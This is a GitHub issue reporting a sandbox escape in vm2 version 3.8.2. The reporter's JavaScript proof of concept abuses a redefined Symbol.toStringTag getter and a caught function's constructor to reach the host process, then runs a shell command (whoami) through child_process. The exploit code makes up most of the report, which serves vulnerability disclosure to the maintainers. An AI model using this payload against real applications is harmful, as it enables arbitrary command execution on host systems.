Skip to content

Breakout in v3.8.2 #224

@XmiliaH

Description

@XmiliaH

Looked again at the code and found that

"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
	Symbol = {
		get toStringTag(){
			throw f=>f.constructor("return process")()
		}
	};
	try{
		Buffer.from(new Map());
	}catch(f){
		Symbol = {};
		return f(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
	}
}+')()';
try{
	console.log(new VM().run(untrusted));
}catch(x){
	console.log(x);
}

will break out of the vm.

Metadata

Metadata

Assignees

No one assigned

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions